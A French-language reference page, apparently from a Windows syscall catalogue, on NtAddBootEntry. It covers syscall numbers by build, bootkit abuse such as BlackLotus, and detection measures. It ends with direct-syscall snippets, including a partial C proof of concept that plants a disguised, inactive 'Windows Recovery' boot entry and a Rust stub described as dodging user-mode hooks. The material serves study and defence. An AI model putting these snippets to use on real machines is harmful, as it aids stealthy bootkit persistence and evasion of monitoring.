> Windows Syscalls
ntoskrnl.exeT1542.003T1542T1106

NtAddBootEntry

Enregistre une nouvelle BOOT_ENTRY dans la base de configuration de démarrage (BCD) et retourne son identifiant attribué.

Prototype

NTSTATUS NtAddBootEntry(
  PBOOT_ENTRY BootEntry,
  PULONG      Id
);

Arguments

NameTypeDirDescription
BootEntryPBOOT_ENTRYinPointeur vers une structure BOOT_ENTRY décrivant l'option de démarrage firmware à enregistrer (FriendlyName, BootFilePath, blob OsOptions).
IdPULONGoutReçoit l'identifiant attribué par le BCD pour la nouvelle entrée. Stocké comme variable EFI Boot#### sur les systèmes UEFI.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x68win10-1507
Win10 16070x68win10-1607
Win10 17030x69win10-1703
Win10 17090x69win10-1709
Win10 18030x69win10-1803
Win10 18090x69win10-1809
Win10 19030x69win10-1903
Win10 19090x69win10-1909
Win10 20040x6Awin10-2004
Win10 20H20x6Awin10-20h2
Win10 21H10x6Awin10-21h1
Win10 21H20x6Awin10-21h2
Win10 22H20x6Awin10-22h2
Win11 21H20x6Awin11-21h2
Win11 22H20x6Awin11-22h2
Win11 23H20x6Awin11-23h2
Win11 24H20x6Awin11-24h2
Server 20160x68winserver-2016
Server 20190x69winserver-2019
Server 20220x6Awinserver-2022
Server 20250x6Awinserver-2025

Module noyau

ntoskrnl.exeNtAddBootEntry

APIs liées

BcdAddBootEntry (bcd.dll)BcdOpenStorebcdedit.exe /createSetFirmwareEnvironmentVariableWNtSetSystemEnvironmentValueExNtModifyBootEntryNtDeleteBootEntryNtSetBootEntryOrder

Stub du syscall

4C 8B D1            mov r10, rcx
B8 6A 00 00 00      mov eax, 0x6A
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtAddBootEntry est la mécanique noyau derrière `bcdedit /create` et `BcdAddBootEntry` (bcd.dll). Sur BIOS legacy, elle édite la ruche BCD `\Device\HarddiskVolume1\Boot\BCD` ; sur UEFI, elle matérialise une variable EFI `Boot####` via `HalSetEnvironmentVariableEx`. Les deux chemins exigent **SeSystemEnvironmentPrivilege**, détenu uniquement par les administrateurs élevés. La structure BOOT_ENTRY embarque un blob `OsOptionsLength` à longueur variable dont le premier DWORD est une signature — `WINDOWS_OS_OPTIONS_SIGNATURE` ("WINDOWS") pour les entrées de loader OS — directement reflété en NVRAM sur UEFI.

Usage courant par les malwares

Les bootkits utilisent NtAddBootEntry (ou les équivalents `BcdAddBootEntry`/écritures NVRAM brutes) pour installer un chemin de démarrage corrompu qui charge le code attaquant **avant le noyau Windows, donc avant toute télémétrie kernel, PatchGuard ou vérification DSE**. Schéma classique : déposer un bootloader signé-mais-vulnérable (ou non signé sur cibles avec Secure Boot désactivé), l'enregistrer via NtAddBootEntry, puis appeler NtSetBootEntryOrder pour le placer en tête. BlackLotus (2022) a enchaîné CVE-2022-21894 « Baton Drop » contre un bootmgfw vulnérable pour contourner Secure Boot et persister exactement par cette primitive. ESPecter et CosmicStrand atteignent le même objectif au niveau firmware/EFI.

Opportunités de détection

Le provider ETW **Microsoft-Windows-Kernel-Boot** ({02012a3b-d8c4-4d4e-b9c2-1edc4f8c4a30}) émet des événements lors de mutations BCD. La surveillance registre de `HKLM\BCD00000000` (monté depuis la partition système EFI) attrape les modifications en OS ; Sysmon Event ID 13 avec un filtre de chemin BCD est le déploiement le plus simple. Sur UEFI, surveiller aussi `HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State` et auditer les appels `SetFirmwareEnvironmentVariable*` via Event ID 4673 (utilisation de privilège, SeSystemEnvironmentPrivilege). Une baseline défensive par comparaison de hash `bcdedit /enum FIRMWARE` planifiée attrape les ajouts furtifs. Secure Boot avec une liste de révocation **DBX** à jour neutralise les abus de bootmgr de classe BlackLotus.

Exemples de syscalls directs

asmx64 direct stub (Win11 24H2, SSN 0x6A)

; Direct syscall stub for NtAddBootEntry
; Requires SeSystemEnvironmentPrivilege; on UEFI also writes to NVRAM.
NtAddBootEntry PROC
    mov  r10, rcx          ; PBOOT_ENTRY
    mov  eax, 6Ah          ; SSN, Win11 24H2
    syscall
    ret
NtAddBootEntry ENDP

cRegister a rogue OS loader entry (PoC, requires SeSystemEnvironmentPrivilege + bypassed Secure Boot)

// PoC only: registers a BOOT_ENTRY that loads \EFI\evil\bootx64.efi.
// Practical exploitation against modern Windows still needs a Secure Boot bypass
// (e.g. a DBX-unrevoked vulnerable shim/bootmgr).
#include <windows.h>
#include <winnt.h>

typedef struct _FILE_PATH {
    ULONG Version;
    ULONG Length;
    ULONG Type;
    UCHAR FilePath[1];
} FILE_PATH, *PFILE_PATH;

typedef struct _BOOT_ENTRY {
    ULONG Version;
    ULONG Length;
    ULONG Id;
    ULONG Attributes;
    ULONG FriendlyNameOffset;
    ULONG BootFilePathOffset;
    ULONG OsOptionsLength;
    UCHAR OsOptions[1];
} BOOT_ENTRY, *PBOOT_ENTRY;

extern NTSTATUS NTAPI NtAddBootEntry(PBOOT_ENTRY, PULONG);

int plant_rogue(void) {
    // Enable SeSystemEnvironmentPrivilege first (omitted for brevity).
    BYTE buf[512] = {0};
    PBOOT_ENTRY be = (PBOOT_ENTRY)buf;
    be->Version    = 1;
    be->Length     = sizeof(buf);
    be->Attributes = 0; // no BOOT_ENTRY_ATTRIBUTE_ACTIVE -> stealthier first stage
    be->FriendlyNameOffset = FIELD_OFFSET(BOOT_ENTRY, OsOptions);
    wcscpy_s((wchar_t*)(buf + be->FriendlyNameOffset), 32, L"Windows Recovery");
    ULONG id = 0;
    return NtAddBootEntry(be, &id);
}

rustwindows-sys + naked direct syscall

// Cargo: windows-sys = "0.59"
// Bypasses the bcd.dll wrapper to dodge user-mode hooks; kernel ETW still fires.
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_add_boot_entry(_entry: *mut u8, _id: *mut u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x6A",   // Win11 24H2 SSN
        "syscall",
        "ret",
        options(noreturn),
    );
}

Mappings MITRE ATT&CK

Last verified: 2026-05-20